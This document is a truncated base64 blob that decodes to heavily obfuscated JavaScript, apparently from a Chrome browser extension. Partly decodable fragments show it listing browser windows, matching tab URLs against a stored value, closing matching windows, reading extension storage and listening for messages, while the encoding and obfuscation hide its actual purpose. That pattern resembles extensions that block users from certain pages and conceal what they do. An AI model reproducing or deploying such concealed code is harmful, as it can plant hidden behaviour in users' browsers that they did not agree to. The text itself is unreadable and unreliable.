WnVsVkQnOl8weDFjOTJmYSgnKF11aycsMHg2ZGUsMHg2MWIsMHg3MzMsMHg2OTgpK18weDJlNDkzZigweDM1YSwweDQ0ZiwweDQ5MCwweDQ1ZCwnTF04aCcpK18weDFjOTJmYSgnWWFLaicsMHg3ODksMHg1YzQsMHg2MzksMHg2NTQpK18weDFjOTJmYSgnJXFEUCcsMHg3NzEsMHg1MTYsMHg1ZTQsMHg2NWIpK18weDkyZGZkNCgnRExTWycsLTB4YzUsLTB4NzksLTB4MTY4LDB4Y2IpK18weDJlNDkzZigweDY4YSwweDY5OCwweDViOCwweDY1NiwnRExTWycpK18weDRlNmVlMSgtMHgxYmIsLTB4NWEsLTB4MTVhLCdZYUtqJywtMHg5YiksJ1p6dW5UJzpmdW5jdGlvbihfMHg0OGMwYzIsXzB4MzgzMDM3KXtyZXR1cm4gXzB4NDhjMGMyIT09XzB4MzgzMDM3O30sJ0xpalNhJzpfMHg5MmRmZDQoJ2xMNl4nLDB4MTE5LDB4NTYsMHg4OSwweDEyNiksJ0lQQlRmJzpfMHg5MmRmZDQoJ25bQzknLDB4Y2UsMHg3NiwtMHg4MSwweDQ3KSwnVk1SaUwnOmZ1bmN0aW9uKF8weDI2MWNjOSxfMHgxMTE1MjIpe3JldHVybiBfMHgyNjFjYzkhPT1fMHgxMTE1MjI7fSwnbVVUcmQnOl8weDE3Y2Y4YigweDRmYywweDU1NCwweDQ4NSwnWWFLaicsMHg0NzApLCdBRHBVYSc6ZnVuY3Rpb24oXzB4M2E5Y2MzLF8weDFjMTg4Nil7cmV0dXJuIF8weDNhOWNjMyhfMHgxYzE4ODYpO30sJ1VZSUpLJzpmdW5jdGlvbihfMHg1NTllZGUsXzB4MTUxNjQ4KXtyZXR1cm4gXzB4NTU5ZWRlPT09XzB4MTUxNjQ4O30sJ1VRREp1JzpfMHg5MmRmZDQoJ1RkNlgnLC0weDUyLDB4YTIsMHgxMjYsLTB4MzMpLCdkUkZmZSc6XzB4MTdjZjhiKDB4NTY3LDB4NGVlLDB4NjAzLCdaVVFxJywweDUwYSksJ1J4dFRGJzpmdW5jdGlvbihfMHgxMTM3NmYsXzB4NGRiYWRjKXtyZXR1cm4gXzB4MTEzNzZmIT09XzB4NGRiYWRjO30sJ2Vob0FUJzpfMHgxYzkyZmEoJyhEVEYnLDB4NTlmLDB4NDQ5LDB4NTRmLDB4NGFmKSwndEpSdk4nOl8weDFjOTJmYSgnOWZhdCcsMHg0MzQsMHg1MmUsMHg1MTEsMHg0NmQpLCdOWUxpVyc6XzB4MmU0OTNmKDB4NDE2LDB4NDcxLDB4NGE5LDB4NGQ3LCdiN1gpJyksJ2J5cmViJzpfMHg5MmRmZDQoJ3E2XXInLDB4MWZjLDB4MWNkLDB4MjQxLDB4MWVlKSwncFRGRlMnOl8weDE3Y2Y4YigweDU3NCwweDc5ZCwweDY2YywnI3RhSycsMHg2NzkpLCdSZ1JLQSc6XzB4OTJkZmQ0KCdyKU93JywweGFiLDB4MTc2LDB4MTdmLDB4MzkpLCdTRk9mZCc6ZnVuY3Rpb24oXzB4NWEyNzEzLF8weDFiMmZlOSl7cmV0dXJuIF8weDVhMjcxMyhfMHgxYjJmZTkpO30sJ1pZZ2xtJzpfMHgyZTQ5M2YoMHgzYzUsMHgzOGEsMHgzZDIsMHg0MjMsJ1ZpRk4nKStfMHg0ZTZlZTEoLTB4M2YsLTB4YjgsLTB4MTQ5LCdPUDdOJywtMHgxMTgpK18weDJlNDkzZigweDY4YiwweDRiYywweDYzMywweDU0NCwnJXFEUCcpK18weDJlNDkzZigweDdhMSwweDc4ZiwweDYwOCwweDY4MywnKVBZIycpK18weDJlNDkzZigweDU2ZiwweDQ4MywweDQ2MCwweDUyNSwncTZdcicpK18weDFjOTJmYSgnI3RhSycsMHg1Y2QsMHg0ZmYsMHg1OGEsMHg1MmMpK18weDJlNDkzZigweDU5YiwweDViZiwweDViNSwweDVmNywnIXZrTScpK18weDkyZGZkNCgnVU9BIycsMHg2YiwtMHg3MiwtMHg1YywtMHgyYikrXzB4MmU0OTNmKDB4NzE0LDB4NTE5LDB4NmUxLDB4NWU5LCdaMjlLJykrXzB4MmU0OTNmKDB4NTEzLDB4NTlkLDB4NmQ4LDB4NjRhLCcjV1ljJykrXzB4MmU0OTNmKDB4NjJmLDB4NGVkLDB4Njg5LDB4NTZkLCdETFNbJykrJ3MnLCdWU2lTRyc6XzB4NGU2ZWUxKC0weDhjLDB4MmMsLTB4NDksJzkhRXEnLDB4NjkpKydzJywndk92SmwnOl8weDRlNmVlMSgtMHgxY2EsLTB4MTkwLC0weGI2LCdYd2wyJywtMHgxMDcpKydsJywnd2pmc1knOmZ1bmN0aW9uKF8weDQxZmNjNCxfMHg0MDcyOWUpe3JldHVybiBfMHg0MWZjYzQhPT1fMHg0MDcyOWU7fSwnTGVPd2gnOmZ1bmN0aW9uKF8weDVhYTQ4NCxfMHg1MjQwMjIpe3JldHVybiBfMHg1YWE0ODQoXzB4NTI0MDIyKTt9LCd3Z3hKQyc6ZnVuY3Rpb24oXzB4MzJiMGQ2LF8weDU2MmY5MCl7cmV0dXJuIF8weDMyYjBkNj5fMHg1NjJmOTA7fSwnd2lMd1cnOmZ1bmN0aW9uKF8weDNlZWM5NixfMHgyYjU1NTkpe3JldHVybiBfMHgzZWVjOTYoXzB4MmI1NTU5KTt9LCdFUlZtTic6ZnVuY3Rpb24oXzB4MWQwNTdmLF8weDVhMjY1Nyl7cmV0dXJuIF8weDFkMDU3Zj5fMHg1YTI2NTc7fSwnZ0d3Y0snOmZ1bmN0aW9uKF8weDI3ZDAxYixfMHg1Yjc2MTcpe3JldHVybiBfMHgyN2QwMWI9PT1fMHg1Yjc2MTc7fSwnVm9EekonOl8weDRlNmVlMSgtMHgxODMsLTB4MjRhLDB4ZSwnKF11aycsLTB4MTA4KStfMHgxYzkyZmEoJ04pWW4nLDB4NjEwLDB4Njg5LDB4NmEwLDB4NjM0KStfMHgxN2NmOGIoMHg1OTEsMHg0YjIsMHg0YTgsJ2gmNzcnLDB4NGM2KSsnZ3MnLCdHWUV3VSc6ZnVuY3Rpb24oXzB4MTFlN2I0LF8weDE4MTcwZSl7cmV0dXJuIF8weDExZTdiNChfMHgxODE3MGUpO30sJ29Ub21wJzpfMHgxN2NmOGIoMHg2YTUsMHg1NzAsMHg2MjgsJyNXWWMnLDB4NjVmKStfMHgxYzkyZmEoJyMhSVonLDB4NDVjLDB4M2RhLDB4NWRiLDB4NGJkKStfMHgxYzkyZmEoJzlmYXQnLDB4NGI2LDB4NTRhLDB4NDUzLDB4NTEzKStfMHgxN2NmOGIoMHgyZjIsMHg0MjEsMHg0MTksJ1J3RVUnLDB4Mzg3KStfMHg5MmRmZDQoJ1BNUGknLDB4MTM0LDB4MywweDcxLC0weGUwKSwnWFh1UmQnOmZ1bmN0aW9uKF8weDMyNTU1ZSxfMHg1M2RmZjIsXzB4MWI2OWYwKXtyZXR1cm4gXzB4MzI1NTVlKF8weDUzZGZmMixfMHgxYjY5ZjApO30sJ01HeVdBJzpfMHgxYzkyZmEoJyNjITUnLDB4NjExLDB4NjljLDB4NTNhLDB4NWQyKSwnc3pKVlMnOl8weDkyZGZkNCgnVmlGTicsMHgxZSwweDEyYiwweGEzLDB4MTQ4KStfMHg5MmRmZDQoJ1VPQSMnLDB4MTg4LDB4OGQsLTB4OGQsMHgyKStfMHg5MmRmZDQoJ0VhM2MnLDB4MTY5LDB4MTBlLDB4NzMsMHgyNTUpK18weDFjOTJmYSgnVmlGTicsMHg1OTIsMHg1NzYsMHg2ZWEsMHg2M2YpK18weDRlNmVlMSgweGM2LDB4M2IsLTB4MTBjLCc5ZmF0JywweDM4KStfMHg5MmRmZDQoJylQWSMnLC0weGFlLC0weDUyLDB4OTcsLTB4NzcpK18weDJlNDkzZigweDU4OSwweDYxMSwweDYwOSwweDY0OCwnWjI5SycpK18weDRlNmVlMSgtMHgxZiwweDM1LDB4YjgsJyp1Wm0nLDB4MTcpK18weDFjOTJmYSgnYjdYKScsMHg1OWEsMHgzOWQsMHg1NWYsMHg0NmMpK18weDRlNmVlMSgtMHgxMDIsLTB4ZWMsLTB4MTEwLCdmQXgmJywtMHhiMSkrXzB4MmU0OTNmKDB4NmVhLDB4NjhiLDB4NTA4LDB4NjM4LCc2OEg4JykrXzB4MWM5MmZhKCdYZXNxJywweDZhNSwweDc5OCwweDYyZSwweDY4YikrJyonLCdBTERZWic6XzB4MmU0OTNmKDB4NWNmLDB4NWI2LDB4NDlmLDB4NTE3LCdZcnFvJykrXzB4NGU2ZWUxKC0weDhmLDB4OWQsLTB4MTI2LCdCNkxlJywtMHhhMCkrXzB4MWM5MmZhKCdaMjlLJywweDQ4YywweDUxNCwweDQzNSwweDRiZSkrXzB4MWM5MmZhKCcoRFRGJywweDVjZSwweDU2ZCwweDQ4MiwweDU5NykrXzB4NGU2ZWUxKC0weDE2MCwtMHgyOTksLTB4MjliLCclcURQJywtMHgxZTEpK18weDE3Y2Y4YigweDM5MCwweDUzYiwweDRiYSwnbCMkQycsMHg1Y2QpK18weDFjOTJmYSgnOSFFcScsMHg1OWMsMHg0NmEsMHg1ODYsMHg1NDcpLCd4U2FySCc6ZnVuY3Rpb24oXzB4Mzc2MWYyLF8weDUzNWIzYyl7cmV0dXJuIF8weDM3NjFmMj09PV8weDUzNWIzYzt9LCd5TFREdyc6XzB4NGU2ZWUxKC0weGI5LDB4YWUsMHhkNCwnI1dZYycsMHgyYikrXzB4OTJkZmQ0KCd6Z3RRJywweDI0MSwweDEyNywweDFmNCwweDFhMykrXzB4MmU0OTNmKDB4NGQxLDB4NGQ4LDB4NTA4LDB4NTc3LCd6Z3RRJykrXzB4MWM5MmZhKCdUZDZYJywweDNkNiwweDRhYSwweDRmZiwweDRjMikrXzB4OTJkZmQ0KCdsIyRDJywweDE5MSwweGNlLDB4Y2YsMHgxZTQpLCdMdGpBUic6ZnVuY3Rpb24oXzB4M2FiNmVmLF8weDVkNDg0ZCxfMHgzMDMwZTIpe3JldHVybiBfMHgzYWI2ZWYoXzB4NWQ0ODRkLF8weDMwMzBlMik7fSwnYnV2YWsnOl8weDkyZGZkNCgnZkF4JicsMHg1LC0weDUwLC0weGI1LC0weDE0NSkrXzB4MWM5MmZhKCdPdmFOJywweDViNCwweDQ1NywweDUzYSwweDUxOSkrXzB4MTdjZjhiKDB4NDI2LDB4NDRiLDB4NDZkLCdJcEVaJywweDM5ZikrJ24nLCdhRnRvTSc6ZnVuY3Rpb24oXzB4MjRjMmM5LF8weDVlNzJmYyl7cmV0dXJuIF8weDI0YzJjOT09PV8weDVlNzJmYzt9LCdtb3hSTyc6XzB4MWM5MmZhKCdUZDZYJywweDYwOCwweDQzNCwweDVjZCwweDU1OCkrXzB4NGU2ZWUxKC0weDNlLDB4OCwweDhlLCd1MlQ5JywtMHhhZCkrXzB4MmU0OTNmKDB4NjU1LDB4NGUyLDB4NmRlLDB4NjBkLCdEazQ5JykrXzB4NGU2ZWUxKC0weDZlLDB4M2IsLTB4YjIsJ0xdOGgnLC0weDJiKSwnZ1JMQmInOmZ1bmN0aW9uKF8weDQ2MTg1NCxfMHhjYWVkNTYpe3JldHVybiBfMHg0NjE4NTQ9PT1fMHhjYWVkNTY7fSwndUlCZVAnOl8weDE3Y2Y4YigweDRjOCwweDY5MCwweDVlZCwnYWUhbicsMHg0ZDkpK18weDkyZGZkNCgnOWZhdCcsLTB4MzEsMHhmOCwweDFkMiwtMHgyNykrXzB4MTdjZjhiKDB4NmIyLDB4NjM0LDB4NjE5LCdWaUZOJywweDVmZCkrXzB4MTdjZjhiKDB4MzdkLDB4NDczLDB4NGE1LCdaVVFxJywweDRhYSksJ2dtUEZhJzpmdW5jdGlvbihfMHg1Yzg5NTksXzB4MmZmODczKXtyZXR1cm4gXzB4NWM4OTU5PT09XzB4MmZmODczO30sJ05aSEthJzpfMHgxYzkyZmEoJ2gmNzcnLDB4NTAwLDB4NWJkLDB4NjcwLDB4NWViKStfMHg5MmRmZDQoJ1oyOUsnLDB4NzAsMHgxNGMsMHgxODQsMHgxM2MpK18weDRlNmVlMSgtMHgyOSwtMHgxNjUsLTB4MjQsJ2ZBeCYnLC0weDIyKStfMHg5MmRmZDQoJ04pWW4nLDB4MTk5LDB4MTMzLDB4MWIsMHgxNDEpKyd3JywnQmxqWVYnOl8weDE3Y2Y4YigweDUzOSwweDQwNywweDU0YSwnKERURicsMHg1YjEpK18weDkyZGZkNCgnemd0UScsMHgyOTksMHgxNjIsMHgyMjksMHg4MykrXzB4MWM5MmZhKCdUZDZYJywweDc3NCwweDY3MiwweDdiMCwweDZhZSkrXzB4OTJkZmQ0KCdSd0VVJywweGIwLDB4MWRmLDB4MzEwLDB4MmMzKStfMHgxYzkyZmEoJyhddWsnLDB4NDZkLDB4NjA5LDB4NDE3LDB4NTI0KSwnYXVSc1AnOl8weDJlNDkzZigweDcwZiwweDU4YiwweDYzZCwweDY0MCwnWXJxbycpK18weDRlNmVlMSgtMHgxMTEsMHhlYywtMHgxMGMsJ1hlc3EnLC0weDEpKycqJywnWlhzVHAnOmZ1bmN0aW9uKF8weDE1MGRhZCxfMHg1ZWViZWQpe3JldHVybiBfMHgxNTBkYWQ9PT1fMHg1ZWViZWQ7fSwnenVGaHgnOl8weDkyZGZkNCgnT1A3TicsMHhiZSwweGE3LDB4ZWEsMHg2ZikrXzB4MTdjZjhiKDB4NjNjLDB4NzNlLDB4NjQ3LCdhZSFuJywweDcxNikrXzB4OTJkZmQ0KCd0Rm5mJywweDQ4LC0weDg2LC0weDVhLC0weGM4KStfMHgxYzkyZmEoJ2xMNl4nLDB4NjZlLDB4Njg3LDB4NjA1LDB4NmEyKSwnTnFUS2onOl8weDRlNmVlMSgtMHgyNWQsLTB4MWUzLC0weDIxOCwnbEw2XicsLTB4MTcxKStfMHgyZTQ5M2YoMHg1NzgsMHg2MjQsMHg1MzIsMHg2MTAsJ2wjJEMnKSsneScsJ1l4d2tEJzpfMHg0ZTZlZTEoLTB4MTk4LC0weGU2LC0weDIyLCcjYyE1JywtMHgxMGEpK18weDFjOTJmYSgnaCY3NycsMHg1NjksMHg1MWYsMHg1M2EsMHg0NWUpK18weDFjOTJmYSgnZkF4JicsMHgzZWMsMHgzOTgsMHg0ZjAsMHg0YWUpK18weDRlNmVlMSgtMHgxYWMsLTB4MTA5LC0weDJmYywnSXBFWicsLTB4MjA0KSwnS0RIc0YnOl8weDFjOTJmYSgnZkF4JicsMHg2OGQsMHg2YWIsMHg0OWIsMHg1NjQpK18weDJlNDkzZigweDczZCwweDVkNCwweDY4YiwweDYyMywnWWFLaicpK18weDFjOTJmYSgnOWZhdCcsMHg1NjUsMHg0ZjEsMHg1NmQsMHg1ZTcpK18weDkyZGZkNCgnVmlGTicsMHhjZiwweDJhLDB4MTY2LDB4MTU0KSwndGhJSVQnOmZ1bmN0aW9uKF8weDNkMjkzNixfMHgyZDk2OGQsXzB4NTNiZjcxKXtyZXR1cm4gXzB4M2QyOTM2KF8weDJkOTY4ZCxfMHg1M2JmNzEpO30sJ0NrSXBrJzpfMHg0ZTZlZTEoMHgxMGQsLTB4MTUwLDB4Y2UsJ09QN04nLC0weDE5KStfMHg0ZTZlZTEoLTB4MTBkLDB4MTI4LDB4N2UsJ1oyOUsnLDB4MjQpK18weDFjOTJmYSgnNjhIOCcsMHg1ZDQsMHg0YmEsMHg0MTIsMHg1MTApK18weDRlNmVlMSgtMHgxM2QsLTB4MjNiLC0weDEyYSwnUE1QaScsLTB4MWI0KSwnVHRIVEYnOl8weDE3Y2Y4YigweDVkYywweDVkMSwweDUwYSwnRExTWycsMHg0Y2MpK18weDRlNmVlMSgweDNjLC0weDFlZCwtMHgxZmUsJzkhRXEnLC0weGQ5KStfMHg5MmRmZDQoJyVxRFAnLC0weDEzLC0weDYzLC0weGIsLTB4OGUpK18weDkyZGZkNCgncTZdcicsMHhlNywtMHgxYiwtMHg3YywtMHhiYSksJ1J5Y3JzJzpfMHgxYzkyZmEoJzJlY3MnLDB4NTUyLDB4Njc5LDB4NjQ1LDB4NTlhKStfMHgxYzkyZmEoJ1oyOUsnLDB4NjRmLDB4NmY0LDB4NWI5LDB4NjVmKStfMHgyZTQ5M2YoMHg0NWQsMHg1MTIsMHg1OWEsMHg0ZjEsJzJlY3MnKStfMHgxYzkyZmEoJ3RGbmYnLDB4NzNhLDB4NzRmLDB4NjQxLDB4NjgxKSwnaWxsTVInOl8weDJlNDkzZigweDQxMiwweDM2MywweDQ2YiwweDQyZSwnUE1QaScpK18weDJlNDkzZigweDY2NiwweDYxMiwweDc2NSwweDY4NywnWGVzcScpK18weDkyZGZkNCgnKERURicsMHg5LDB4ZjQsLTB4MzcsMHhlZiksJ3pVZHpMJzpmdW5jdGlvbihfMHgyOGY5MTMsXzB4MzQ3MTkzKXtyZXR1cm4gXzB4MjhmOTEzPT09XzB4MzQ3MTkzO30sJ1REdmpxJzpfMHgyZTQ5M2YoMHgzNDAsMHg0YTEsMHgzNTksMHg0MTgsJylQWSMnKStfMHg5MmRmZDQoJylQWSMnLDB4YTMsLTB4MjQsLTB4MTA5LC0weDEyYSkrXzB4MTdjZjhiKDB4NTM5LDB4NjNjLDB4NThkLCdaMjlLJywweDYwMykrJ28nLCdwcUdnZic6ZnVuY3Rpb24oXzB4NDRjNmQyLF8weDU1ZmQ1Yyl7cmV0dXJuIF8weDQ0YzZkMihfMHg1NWZkNWMpO30sJ0taYXl0JzpfMHg0ZTZlZTEoMHg2OSwtMHgxY2UsLTB4MTE3LCdhZSFuJywtMHg5NykrJ24nfTtmdW5jdGlvbiBfMHgyZTQ5M2YoXzB4MTRkY2I3LF8weDY0NzljLF8weDQxYzI2ZCxfMHgzOTQwODMsXzB4NWVjN2NlKXtyZXR1cm4gXzB4MzI2MyhfMHgzOTQwODMtMHgyODEsXzB4NWVjN2NlKTt9ZnVuY3Rpb24gXzB4OTJkZmQ0KF8weDNlZDNlZSxfMHg5MmU4N2MsXzB4OGI1MjMzLF8weDNhYTA5MyxfMHgxNGUxMDApe3JldHVybiBfMHgzMjYzKF8weDhiNTIzMy0gLTB4MjJmLF8weDNlZDNlZSk7fWNvbnN0IF8weDMxOWUwNT1hc3luYyBfMHgxYmE4Zjk9PntmdW5jdGlvbiBfMHg1MGMzNWQoXzB4MmEzNjRhLF8weDNjYTZhYSxfMHgzZWY4MWIsXzB4NDAzODNmLF8weDU1YzBiMyl7cmV0dXJuIF8weDFjOTJmYShfMHg0MDM4M2YsXzB4M2NhNmFhLTB4NmQsXzB4M2VmODFiLTB4MTA4LF8weDQwMzgzZi0weDEwMyxfMHgzY2E2YWEtIC0weDI5KTt9ZnVuY3Rpb24gXzB4MTY5NjdiKF8weDNjNjI0NCxfMHg1YjljMDcsXzB4MjMxZDc0LF8weDFkODFlNCxfMHgzYWEyMGIpe3JldHVybiBfMHgyZTQ5M2YoXzB4M2M2MjQ0LTB4NGMsXzB4NWI5YzA3LTB4MWQ1LF8weDIzMWQ3NC0weGY5LF8weDFkODFlNC0gLTB4OSxfMHg1YjljMDcpO31mdW5jdGlvbiBfMHgxNmUwMWUoXzB4NDI3NDIyLF8weDMyMzhlZSxfMHg0NWFjNTYsXzB4NThlNTFjLF8weDM4YjE0Zil7cmV0dXJuIF8weDkyZGZkNChfMHg0Mjc0MjIsXzB4MzIzOGVlLTB4Y2IsXzB4MzhiMTRmLTB4NjExLF8weDU4ZTUxYy0weDRjLF8weDM4YjE0Zi0weGQwKTt9Y29uc3QgXzB4MzY0ZjBlPXsnbWdtUVonOmZ1bmN0aW9uKF8weDRmZWIwNixfMHg0ODZiYzEpe2Z1bmN0aW9uIF8weDFlNTBkZShfMHg4ZTFlYzcsXzB4NDc5NzAwLF8weDM5NTgwYixfMHgxYmY0M2YsXzB4MjE0MWVjKXtyZXR1cm4gXzB4MzI2MyhfMHg0Nzk3MDAtIC0weDJkMixfMHgxYmY0M2YpO31yZXR1cm4gXzB4NDhlNzZjW18weDFlNTBkZSgweDE0MCwweDFiLDB4NDksJyNXWWMnLC0weDFiKV0oXzB4NGZlYjA2LF8weDQ4NmJjMSk7fSwnSGRRTnMnOmZ1bmN0aW9uKF8weDNhYjYzNixfMHgxMDcyOTkpe2Z1bmN0aW9uIF8weGU0ZjBkYyhfMHgyZmU3YzIsXzB4NGY5YmExLF8weDUwYmVjNSxfMHg0NTFhODUsXzB4MTVkNjg4KXtyZXR1cm4gXzB4MzI2MyhfMHg1MGJlYzUtMHgzNjAsXzB4MTVkNjg4KTt9cmV0dXJuIF8weDQ4ZTc2Y1tfMHhlNGYwZGMoMHg2MzMsMHg3YjEsMHg2ZDIsMHg2NmMsJyF2a00nKV0oXzB4M2FiNjM2LF8weDEwNzI5OSk7fX07ZnVuY3Rpb24gXzB4MzZhZjdmKF8weDFmNzI0ZixfMHhmYjZjZTksXzB4NGFjZGMyLF8weDRkOWEyMSxfMHgxMWUwMTMpe3JldHVybiBfMHgxYzkyZmEoXzB4MWY3MjRmLF8weGZiNmNlOS0weDE1YyxfMHg0YWNkYzItMHhkMCxfMHg0ZDlhMjEtMHhlNSxfMHg0ZDlhMjEtIC0weDNhMyk7fWZ1bmN0aW9uIF8weDRlNDVlNyhfMHgyYjQyNGQsXzB4NTEzOTQzLF8weDFkYWI3OSxfMHg0MzMyYTksXzB4NGVlZGE3KXtyZXR1cm4gXzB4MTdjZjhiKF8weDJiNDI0ZC0weDgsXzB4NTEzOTQzLTB4MWI0LF8weDUxMzk0My0gLTB4NTFhLF8weDJiNDI0ZCxfMHg0ZWVkYTctMHhjZik7fWlmKF8weDQ4ZTc2Y1tfMHgxNmUwMWUoJzkhRXEnLDB4N2YzLDB4ODMxLDB4NmE1LDB4NzM2KV0oXzB4NDhlNzZjW18weDE2ZTAxZSgnQjZMZScsMHg2OTAsMHg4OGIsMHg4NjMsMHg3NTYpXSxfMHg0OGU3NmNbXzB4MTZlMDFlKCdaMjlLJywweDdmNCwweDg0NSwweDZkMiwweDcwMildKSl7Y29uc3QgXzB4NWQ4N2JhPXt9O18weDVkODdiYVtfMHgxNmUwMWUoJyMhSVonLDB4NzBhLDB4NWVmLDB4NWM1LDB4NWUyKStfMHg1MGMzNWQoMHg0ODksMHg0NzIsMHg1ODksJzlmYXQnLDB4Mzg2KV09ISgtMHgyNGFmKy0weDIqLTB4ZTUrMHgxKjB4MjJlNSk7Y29uc3QgXzB4MzI3OTc3PWF3YWl0IGNocm9tZVtfMHg1MGMzNWQoMHg2MzYsMHg1YWEsMHg0OTEsJyNXWWMnLDB4NWZkKSsnd3MnXVtfMHgxNjk2N2IoMHg0OTcsJ1p3UkMnLDB4NGQ3LDB4NTE4LDB4NWU3KSsnbCddKF8weDVkODdiYSk7Zm9yKGNvbnN0IF8weDEyODU0MCBvZiBfMHgzMjc5NzcpXzB4NDhlNzZjW18weDM2YWY3ZignWXJxbycsMHgxYWYsMHg1ZCwweGE5LDB4MTM1KV0oXzB4NDhlNzZjW18weDRlNDVlNygnRWEzYycsMHg4ZSwweGYzLDB4MTk2LDB4MTk3KV0sXzB4MTI4NTQwW18weDRlNDVlNygnVGQ2WCcsLTB4NGIsMHhmNCwtMHg5ZCwtMHhkMildKSYmKF8weDQ4ZTc2Y1tfMHg0ZTQ1ZTcoJyhEVEYnLC0weDVhLC0weDk2LC0weDFkLDB4NjIpXShfMHg0OGU3NmNbXzB4NTBjMzVkKDB4NTRjLDB4NTdjLDB4NTQ2LCc5IUVxJywweDVkYildLF8weDQ4ZTc2Y1tfMHg0ZTQ1ZTcoJ2gmNzcnLC0weDM2LDB4YTgsLTB4ZjUsMHg5OCldKT9fMHg0OGU3NmNbXzB4MTY5NjdiKDB4NjFkLCc2OEg4JywweDUyOCwweDU2OCwweDYzZCldKC0oLTB4MSotMHgyMDRiKy0weDEzOWYrMHg0MzkqLTB4MyksXzB4MTI4NTQwW18weDUwYzM1ZCgweDU4OCwweDY0MywweDUwMSwnWlVRcScsMHg1ODkpXVtfMHgxNjk2N2IoMHgzZjIsJ2gmNzcnLDB4M2U4LDB4NDZiLDB4NTc3KStfMHg0ZTQ1ZTcoJ1hATl0nLDB4NWYsMHgyZiwtMHg5LDB4ODgpXShfMHg0ZmY5MjM9Pl8weDRmZjkyM1tfMHg0ZTQ1ZTcoJ2xMNl4nLDB4ZDEsMHhmOCwtMHgyZSwweDgxKV1bXzB4NGU0NWU3KCd6Z3RRJywweDU4LDB4NDcsLTB4ZTksMHg1ZikrJ09mJ10oXzB4MWJhOGY5KT4tKC0weDU2KjB4NWUrLTB4YmIxKzB4MmI0NikpKSYmYXdhaXQgY2hyb21lW18weDM2YWY3ZignOSFFcScsLTB4YjksLTB4NWIsMHg4OCwtMHg4KSsnd3MnXVtfMHgzNmFmN2YoJyNXWWMnLDB4MTY2LDB4MWQ1LDB4MjA1LDB4MWMyKSsnZSddKF8weDEyODU0MFsnaWQnXSk6KF8weDM2NGYwZVtfMHgzNmFmN2YoJyMhSVonLDB4MjA4LDB4MTA0LDB4Y2MsLTB4NjYpXShfMHgxMjYxYTcsXzB4NTlhNzM4W18weDE2ZTAxZSgnIXZrTScsMHg3NmQsMHg3MWYsMHg2ODIsMHg3NDUpKydzJ11bXzB4MTZlMDFlKCdYQE5dJywweDcyZiwweDc2MywweDc5ZCwweDc5NildKSxfMHgzNjRmMGVbXzB4NGU0NWU3KCc5IUVxJywweGNmLDB4Y2IsMHg5NSwweDFlYyldKF8weDQ1N2ZmNSwhKC0weDExZisweDIyNGQrLTB4MjEyZSkpKSk7fWVsc2UgXzB4NDhlNzZjW18weDE2OTY3YigweDc4YSwnOWZhdCcsMHg1MzksMHg2NWUsMHg3NWQpXShfMHg1YzA1YTEsXzB4MWJjMGQ5W18weDE2ZTAxZSgnWndSQycsMHg2OGEsMHg1MGUsMHg1ZTAsMHg2MTEpKyduZyddKTt9LF8weDVhYjZmZT0oYXdhaXQgY2hyb21lW18weDJlNDkzZigweDc1NCwweDVmOSwweDY1YSwweDY2OCwnWGVzcScpKydnZSddW18weDE3Y2Y4YigweDNmZSwweDNhMywweDRkZiwnbEw2XicsMHg0MzMpXVtfMHgyZTQ5M2YoMHg0ZmMsMHg1MTQsMHg1ZDAsMHg1NTgsJyhEVEYnKV0oW18weDQ4ZTc2Y1tfMHg5MmRmZDQoJ3RGbmYnLDB4N2IsLTB4NzcsLTB4YjAsLTB4YjkpXV0pKVtfMHgxYzkyZmEoJ1pVUXEnLDB4NjkzLDB4NGQ0LDB4NDcxLDB4NTk4KSsnbiddO2Nocm9tZVtfMHgxYzkyZmEoJ2gmNzcnLDB4NTk5LDB4NTIyLDB4M2JjLDB4NGRmKSsnbWUnXVtfMHg5MmRmZDQoJ3E3THUnLDB4MTE1LDB4NGEsMHgxNTksLTB4YmEpK18weDJlNDkzZigweDZhYiwweDVmMCwweDRlZCwweDU5ZCwnbCMkQycpXVtfMHgyZTQ5M2YoMHg2YjEsMHg3OGYsMHg3YmYsMHg2OTQsJ1p3UkMnKStfMHgxYzkyZmEoJ09QN04nLDB4M2RkLDB4NTM5LDB4NWQ3LDB4NDk0KSsnciddKGZ1bmN0aW9uKF8weDUzNzRmYixfMHg0ZGZhYzAsXzB4NTkyN2QyKXtmdW5jdGlvbiBfMHgzMDI1NjMoXzB4MzUwMTI0LF8weDY0NGFkZSxfMHg1NjdhZGEsXzB4ODZmMWQyLF8weDUyMjI3Zil7cmV0dXJuIF8weDFjOTJmYShfMHg2NDRhZGUsXzB4NjQ0YWRlLTB4MTJmLF8weDU2N2FkYS0weDZkLF8weDg2ZjFkMi0weDFjZCxfMHg1MjIyN2YtIC0weDM1Yyk7fWZ1bmN0aW9uIF8weDExZjRlOChfMHhiNGRlNzcsXzB4NDJlMWY5LF8weDUyZjZkYixfMHg0ZDE0ZTcsXzB4MjExMGJkKXtyZXR1cm4gXzB4NGU2ZWUxKF8weGI0ZGU3Ny0weDkzLF8weDQyZTFmOS0weDFjMyxfMHg1MmY2ZGItMHg1OCxfMHg0MmUxZjksXzB4NGQxNGU3LTB4NmRiKTt9ZnVuY3Rpb24gXzB4M2EzOTgzKF8weDU3NzUyZixfMHgzNmRkNzUsXzB4NmZlYTMzLF8weDIzYmJiMCxfMHgyMzk2OWQpe3JldHVybiBfMHg5MmRmZDQoXzB4MjM5NjlkLF8weDM2ZGQ3NS0weGNlLF8weDZmZWEzMy0weDFkNSxfMHgyM2JiYjAtMHgzYixfMHgyMzk2OWQtMHgxOWYpO31jb25zdCBfMHg1MzIwYzQ9eydiY3dVaic6ZnVuY3Rpb24oXzB4NWVhMDAwLF8weDVlMzhjZSl7ZnVuY3Rpb24gXzB4NDdjNTE4KF8weDQzMmYxMCxfMHgzMmRhOWMsXzB4NDNkNjE5LF8weGQzMzY3ZixfMHg0NDEyZWYpe3JldHVybiBfMHgzMjYzKF8weDQzZDYxOS0weDM3YixfMHg0MzJmMTApO31yZXR1cm4gXzB4NDhlNzZjW18weDQ3YzUxOCgnbltDOScsMHg2MzQsMHg1ODMsMHg0NWEsMHg2ODcpXShfMHg1ZWEwMDAsXzB4NWUzOGNlKTt9LCdtc2pMRCc6ZnVuY3Rpb24oXzB4NDFlZDdmLF8weDNjNGFlMCl7ZnVuY3Rpb24gXzB4MWIyMmE5KF8weDI4ZTczMCxfMHg1NjY3ZDYsXzB4MzI0NzgzLF8weGMwYjg4OSxfMHgyMmEyN2Epe3JldHVybiBfMHgzMjYzKF8weDIyYTI3YS0gLTB4MjMxLF8weDMyNDc4Myk7fXJldHVybiBfMHg0OGU3NmNbXzB4MWIyMmE5KDB4ZGIsMHgxMzIsJ1hATl0nLDB4MWQwLDB4MTM1KV0oXzB4NDFlZDdmLF8weDNjNGFlMCk7fSwnb